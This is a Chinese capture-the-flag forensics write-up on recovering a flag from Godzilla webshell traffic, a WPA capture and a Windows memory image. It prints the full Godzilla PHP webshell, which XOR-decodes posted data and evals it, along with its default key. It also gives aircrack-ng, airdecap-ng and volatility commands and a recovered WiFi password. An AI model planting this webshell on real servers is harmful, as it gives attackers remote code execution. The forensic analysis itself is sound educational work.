9.1小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示,需要额外添加花括号)
附件信息:
拿到附件
先看服务器.pcapng
可以发现只有发出去的包,且为哥斯拉php_eval_xor_base64流量
哥斯拉php_eval_xor_base64流量是3.0才更新的php连接方式,其目的是为了支持普通的一句话eval($_POST[1])。不过其本质就是利用pass参数传了一个php_xor_base64哥斯拉马罢了,所以流量特征和php_xor_base64类似。
https://www.freebuf.com/sectool/285693.html
这篇文章很好的分析了哥斯拉的特征和解密方法。
这里由于只有Request,我们的目的是获取cat /flag的内容,肯定在返回包里,所以解密Request没意义,只要记下密码pass,密钥key均为哥斯拉默认的即可。
OÙJ(”DMI
ÌýÀÕ:KsPDÉC'¤
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
yÚyÙkº÷«®Ûv‡wŽž±¦åj÷²Æ©
$key = 3c6e0b8a9c15224a
然后我们分析客户端.cap
是无线局域网的流量,而且我们发现SSID为
My_Wifi
这里的SSID我们还可以使用aircrack-ng 来查看
aircrack-ng 客户端.cap
WPA的密码我们尝试使用airdecap-ng来爆破密码
aircrack-ng 客户端.cap -w ../../../CTF/directionary/WPA-dirc/common.txt
当然字典爆破都试过了,没有找到密码,我们想到附件中还有一个内存镜像。我们
最后分析Windows 7-dde00fa9.vmem,还是找文件
这里我们主要是找WPA的密码
vol -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep -E -i "zip|txt|rar|7z|gz|doc|png|jpg"
我们看到有用的信息就给它dump下来
最后发现My_Wifi.zip是一个加密文件
使用Windows中的压缩文件管理工具我们可以发现,下方有个提示:密码是网络适配器的GUID
那么什么是GUID呢?我们去网上搜索什么是GUID,Windows如何查看GUID
在Windows的注册表中的这个路径存放着GUID。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}
或者我们通过命令查看本地的GUID格式
getmac /V /S 127.0.0.1
GUID的格式通常是一串包含字母和数字的长字符,类似于**{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
**。
同样我们也可以根据这个GUID查找在注册表中的位置
这种com格式字符串很有可能在windows文件系统或者注册表中,在自己电脑上搜一下。
那么在内存取证工具volatility中用Interfaces关键字去定位
然后找到网络适配器的GUID。接着使用GUID 去解密压缩包
找到了无线流量的密码
然后我们使用airdecap-ng去解密无线流量
airdecap-ng 客户端.cap -p 233@114514_qwe -e My_Wifi -o 客户端_decode_.cap
我们接着去分析解密之后的哥斯拉流量
前后各16位的md5,中间夹着base64异或流量,典型的哥斯拉特征。和之前的服务器发起包对应起来了
我们跟踪到最后一个http流量包里面的内容就是flag
使用解密脚本,并注意删除前后混淆的16位md5值